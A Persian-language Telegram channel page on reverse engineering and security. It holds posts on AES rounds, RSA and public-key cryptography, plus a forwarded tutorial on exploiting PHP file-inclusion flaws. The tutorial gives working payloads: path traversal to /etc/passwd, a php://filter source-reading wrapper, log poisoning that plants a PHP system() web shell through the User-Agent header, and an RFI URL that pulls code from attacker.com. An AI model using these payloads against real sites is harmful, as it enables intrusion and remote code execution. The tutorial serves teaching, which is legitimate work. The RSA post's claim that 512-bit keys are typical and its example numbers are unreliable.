ReverseEngineering – Telegram
ReverseEngineering
1.24K subscribers
40 photos
10 videos
55 files
666 links
Download Telegram
SubBytes

در پروسه جابجایی بایت های متن ورودی در یک جعبه جابجایی به نام S-box قرار می گیرن كه یک ماتریس 16×16 هست هر بایت در یک تقاطع سطر و ستون این ماتریس جا می گیره برای پیدا كردن جای هر بایت اولین عدد صحیح مبنای 16 (nibble) در یک بایت متن اصلی گرفته شده و از اون برای مشخص كردن سطر S-box استفاده میشه و سپس از دومین nibble برای مشخص كردن ستون استفاده می شه كاراكتری كه در تقاطع سطر و ستون انتخاب شده ذخیره میشه به عنوان SubByte برای متن اصلی شناخته میشه این پروسه برای هر 16 بایت در ماتریس تكرار میشه
🔥2
شیفت ردیف و تركیب ستونها

بایت هایی كه باید رمزنگاری شن توسط جایگذاری تعویض میشن و بعد ردیف ها شیفت پیدا میکنن برای مثال اولین ردیف دست نخورده باقی میمونه ردیف دوم یک محل به راست جابجا میشه سومین ردیف دو محل جابجا میشه و آخرین ردیف نیز سه محل جابجا میشه این پروسه توسط یک فاز تركیب ستونها دنبال میشه كه در آن هر ستون از ماتریس در یک ماتریس دیگر ضرب میشه تا موقعیت ستون تغییر کنه
👍31🕊1
كلیدهای Round

در مرحله بعدی یک كلید round به هر ستون اضافه میشه این كلید در واقع یک تیکه کوچیک از یک كلید محرمانه است كه برای مراحل بعدی رمزنگاری تزریق میشه
👍51
تكرار

این تبدیل ها 9 بار دیگه تكرار میشن در تكرار آخر تركیب ستون ها وجود نداره و با اضافه كردن كلید round متن رمزنگاری شده به دست میاد كلید هم به ترتیب خود شیفت پیدا می كنه گرد میشه و به خودش اضافه میشه.
👍5👏1
دوستان اگه کانال برسه به 400 یک سوپرایز دارم براتون یک کتاب صفر تا صد مهندسی معکوس که هیچ جا leak نشده و جدیدترین نسخه است رو براتون میزارم و اگه ممبرا برن بالا از این به بعد بهترین رفرنس های روز دنیا رو براتون میزارم
😍18👏4🔥21
Forwarded from Web Application Security (Alireza)
4⃣ توضیح کامل آسیب پذیری LFI =

شبه کد آسیب پذیر با PHP به LFI 👇
include($_GET['file']);

وقتی کد بالا استفاده بشه، با URL زیر میتونیم بهش مقدار بدیم :
http://target.com/index.php?file=news.php

در URL بالا فایل news.php داخل فایل index.php فراخوانی شده است. برای بهتره برداری ازش در مرحله اول باید سعی کنیم فایل passwd را بخوانیم.
http://target.com/index.php?file=../../../../../../../etc/passwd


5⃣ استفاده از Wrapper ها =

در LFI میتونیم از wrapper ها هم استفاده کنیم. از Wrapper زیر برای خوندن فایل استفاده میشه که میتونیم باهاش کد های وب سایت رو بخونیم.
php://filter/convert.base64-encode/Resource=index.php

خروجی به صورت base64 هست و باید decode بشه.

6⃣ تبدیل LFI به RCE =

روش های مختلفی برای تبدیل LFI به RCE وجود دارد مثل :
1) Expect Wrapper
2) Input Wrapper
3) Log Poisoning
4) phpinfo in php
5) Chain LFI & SQLi
6) PHP Session
7) Chain LFI & RFU

1⃣6⃣ تکنیک Log Poisoning :

بعد از پیدا کردن LFI، باید دنبال یک فایلی در سرور باشیم که دیتایی از سمت کاربر ذخیره میشه داخلش. باید دسترسی خوندن اون فایل رو داشته باشیم. میتونیم موارد زیر رو بررسی کنیم :
1) Apache/Nginx Log file
2) FTP Log file
3) SSH Log file
4) SMTP Log file
5) SFTP Log file
مثلا تو log file های مربوط به وب سرور خیلی وقتا user-agent هم لاگ میشه.(قبلش باید فایل Log رو با LFI بخونیم و مطمئن بشیم از این مورد). تنها کاری که باید انجام بدیم inject کردن پیلود مخرب به عنوان user agent هست.
GET /test HTTP/1.1
..
..
..
User-Agent: <?php system($_GET['cmd'])  ?>

و این اطلاعات در لاگ فایل مربوط به Apache ذخیره میشه. حالا باید از طریق LFI اون فایل رو فراخوانی کنیم و پارامتر cmd رو مقدار دهی کنیم.
http://target.com/index.php?file=../../../../../var/apache2/access.log&cmd=whoami

و RCE گرفته میشه.
برای مابقی سرویس هاهم Log poisoning به این صورت انجام میشه با این تفاوت که اونجا user agent نداریم و چیز دیگه ای از کاربر Log میشه مثل یوزرنیم.

7⃣ آسیب پذیری RFI =

تو آسیب پذیری LFI همه فایل هایی که فراخوانی میکردیم Local بودن. تو آسیب پذیری RFI فایل های Remote هم فراخوانی میکنیم. فرضا یک فایل در سرور خودمون قرار میدیم با اکستنشن txt. و به عنوان ورودی به تارگت میدیم.
http://target.com/index.php.php?file=http://attacker.com/RFI.txt


اما حالت پیشفرض این آسیب پذیری وجود نداره حتی اگه LFI وجود داشته باشه، باید کانفیگ های مربوط به دو مورد زیر به صورت دستی توسط برنامه نویس تغییر داده بشه تا قابلیت فراخوانی فایل به صورت remote فعال بشه.
allow_url_include
allow_url_fopen

وقتی آسیب پذیری RFI داریم قطعا LFI هم داریم. اما وقتی LFI هست تا وقتی دو تابع بالا فعال نباشن آسیب پذیری RFI وجود نخواهد داشت.

1⃣7⃣ آیا اگر بتونیم یک فایل remote روی وب سایت لود کنیم RFI داریم همیشه

خیر. علاوه بر فراخوانی به صورت remote باید تابع آسیب پذیر قابلیت اجرایی داشته باشه تا بتونیم کد سمت backend اجرا کنیم‌ (همون خاصیت LFI) . در غیر این صورت فقط میتونیم یک فایل JS. به صورت remote لود کنیم و به XSS برسیم.

#LFI
#RFI
#Path_traversal
#Directory_traversal
👍31🍌1
الگوریتم‌های رمزنگاری با كلید نامتقارن

روش نامتقارن Asymmetric

قسمت قبلی در مورد الگوریتم‌های رمزنگاری متقارن DES ، 3DES و AES توضیح دادیم كه از یک كلید برای رمزنگاری و رمزگشایی استفاده می كنند. در الگوریتم‌های مذكور در صورتی كه كلید رمزنگاری به سرقت رود محرمانگی اطلاعات نیز از بین خواهد رفت.الگوریتم‌های رمزنگاری با كلید نامتقارن از كلیدهای مختلفی برای رمزنگاری و رمزگشایی استفاده می‌كنند. بسیاری از سیستمها اجازه می‌دهند كه یكی از كلیدها كلید عمومی یا (public key) منتشر شود در حالی كه دیگری كلید خصوصی یا (private key) توسط صاحبش حفظ می‌شود فرستنده پیام، متن را با كلید عمومی گیرنده، كد می‌كند و گیرنده آن را با كلید اختصاصی خود رمزگشایی می‌کند. بعبارتی تنها با كلید خصوصی گیرنده می‌توان متن كد شده را به متن اولیه صحیح تبدیل كرد. یعنی حتی فرستنده نیز اگرچه از محتوای اصلی پیام مطلع است اما نمی ‌تواند از متن كدشده به متن اصلی دست یابد، بنابراین پیام كدشده برای هر گیرنده‌ای، به جز گیرنده مورد نظر فرستنده، بی ‌معنی خواهد بود معمول ترین سیستم نامتقارن به عنوان RSA شناخته می‌شود. (این حروف اول نام پدید آورندگان آن یعنی Rivest ،Shamir و Adlemen است) این الگوریتم در سال 1978 در دانشگاه MIT ایجاد شده است و تأیید هویت (روشی برای مطمئن شدن از هویت ارسال كننده پیغام) را به خوبی رمزنگاری انجام می‌دهد. الگوریتم RSA از دو كلید برای رمزنگاری استفاده می‌کند: كلید خصوصی و كلید عمومی در الگوریتم مذكور تفاوتی بین توانایی عملیاتی كلید عمومی و خصوصی وجود ندارد و یك كلید می‌تواند هم به عنوان كلید خصوصی به كار رود و هم به عنوان كلید عمومی كلیدهای RSA با استفاده از روش های ریاضی و با تركیب اعداد اول تولید می‌شوند. بزرگترین عددها با ضرب اعداد كوچك به دست می آیند و این اعداد كوچك از لحاظ ریاضی به هم وابسته هستند و دانستن یكی از آن‌ها منجر به شناسایی دیگر اعداد اول به كار رفته در كلید می‌شود. این وضعیتی است كه در استفاده از كلید های عمومی و خصوصی مورد نظر است. البته در صورتی كه عدد خیلی بزرگ باشد، این كار به راحتی قابل انجام نیست و وضعیت های گمراه كننده بسیاری وجود دارند تنها تركیب درست از اعداد اول موجود در كلید رمزنگاری، قادر به رمزگشایی پیغام است امنیت الگوریتم RSA و الگوریتم‌های مشابه آن وابسته به استفاده از اعداد خیلی بزرگ است و بیشتر نسخه های RSA از اعداد 154 رقمی یا 512 بیتی به عنوان كلید استفاده می كنند. دسترسی به فاكتورهای اعداد اول اعداد خیلی بزرگ كه بیش از 100 رقم دارند كار بسیار مشكلی است. البته برخی از محققان توانسته اند با تلاش بسیار اعداد بزرگ را بشكنند ولی این كار برای هكرها جهت ورود به یك سیستم یا سر در آوردن از یك پیغام مقرون به صرفه نمی باشد برای پرهیز از پیچیدگی بحث فرض کنید فرستنده پیام جفت عدد صحیح و بزرگ (e,n) را به عنوان کلید عمومی برای رمزنگاری اطلاعات خود در اختیار دارد. در طرف مقابل، گیرنده نیز جفت عدد (d,n) را برای رمزگشایی پیام به کار می برد. بدیهی است که دو جفت عدد (e,n) و (d,n) با یکدیگر ارتباط زیرکانه ای دارند ولی این ارتباط یه گونه ای نیست که بتوان با در اختیار داشتن e و n براحتی d را استنتاج کرد. با فرض وجود چنین کلیدهایی، الگوریتم RSA در نهایت سادگی به صورت زیر بیان می‌شود:
الف) پیامی که باید رمز شود به بلوک‌های k کاراکتری (k بایتی) تقسیم بندی می‌شود.
ب) هر بلوک طبق قاعده ای کاملاً دلخواه به یک عدد صحیح با نام P تبدیل می گردد.
ج) با جفت عدد (e,n) به ازای یکایک بلوک‌های P، اعداد جدیدی طبق رابطه زیر بدست می آید:
C=(P)^e mod n

د) کدهای C به جای کدهای اصلی P ارسال می‌شوند.
روش رمزگشایی داده ها نیز مثل روش رمزنگاری است، یعنی با در اختیار داشتن جفت عدد (d,n) بلوک‌های رمز شده بصورت زیر از رمز خارج خواهند شد:
P=(C)^d mod n

حال برای درک بهتر به طرح یک مثال ساده و کوچک می پردازیم :
فرض کنید بخواهیم رشته ی M="catsanddogs" را رمز کنیم. برای سادگی این رشته ی کاراکتری را به بلوک‌های دوتایی تقسیم کرده و سپس هر بلوک را به یک عدد صحیح تبدیل می‌کنیم. قاعده تبدیل در این مثال عبارت است از: برای کاراکتر a عدد 00، برای b عدد 01 ، و به همین ترتیب تا z که عدد 25 در نظر گرفته و جایگذاری می‌شود
سپس در هر بلوک دوتایی عدد متناظر با هر کاراکتر پشت سر هم قرار می‌گیرد تا کد بلوک را بسازد: (این الگو کاملا دلخواه و قراردادی است). فرض کنید فرستنده جفت عدد صحیح (3763 و 27) معادل (e,n) را برای رمزنگاری بلوک‌ها اختیار کرده باشد. برای رمزنگاری هر بلوک عدد معادل آن به توان e و سپس باقیمانده تقسیم آن بر n محاسبه می‌شود تا بلوک رمز شده بدست آید. این اعداد به عنوان کدهای رمز بجای کدهای متن اصلی ارسال می‌شوند
👍5👏1
در این روش از ترکيب يک کليد خصوصی و يک کليد عمومی استفاده میشه کليد خصوصی صرفاً متعلق به کامپيوتر فرستنده بوده و کليد عمومی توسط کامپيوتر فرستنده در اختيار هر يک از کامپيوترهایی که قصد برقراری ارتباط با همدیگر را دارند گذاشته میشه برای رمزگشایی يک پيام رمز شده کامپيوتر می بايست از کليد عمومی که توسط فرستنده ارائه شده بهمراه کليد خصوصی خودشون استفاده کنن يکی از متداولترين برنامه‌های رمزنگاری در اين رابطه PGP)Pretty Good Privacy) است با استفاده از PGP می توان هر چيز دلخواهی رو رمز کرد بمنظور پياده سازی رمزنگاری کليد عمومی در مقياس بالا نظير يک سرويس دهنده وب لازمه از رويکردهای ديگری در اين خصوص استفاده بشه"امضای ديجيتال" يکی از رويکردهای موجود در اين زمينه هست يک امضای ديجيتالی صرفاً شامل اطلاعات محدودی بوده که اعلام میکنه سرويس دهنده وب با استفاده و بکارگيری يک سرويس مستقل با نام "امضای مجاز"، رازدار اطلاعاته امضای مجاز به عنوان يک ميانجی بين دو کامپيوتر ايفای وظيفه میکنه هويت و مجاز بودن هر يک از کامپيوترها برای برقراری ارتباط توسط سرويس دهنده انجام و برای هر يک کليد عمومی مربوطه را فراهم میکنه
👍51
دوستان لطفا تا جایی که میتونید کانال رو share کنید دم همه تون گرم🙏🏻🫶🏻
👍71🤡1
و اینم از قولی که داده بودم این کتاب جدیدترین نسخه reverse engineering for beginners نسخه 2023 هست که تا حالا ندیدم جایی لیک شده باشه معمولا نسخه ی 2006 یا قدیمیش هست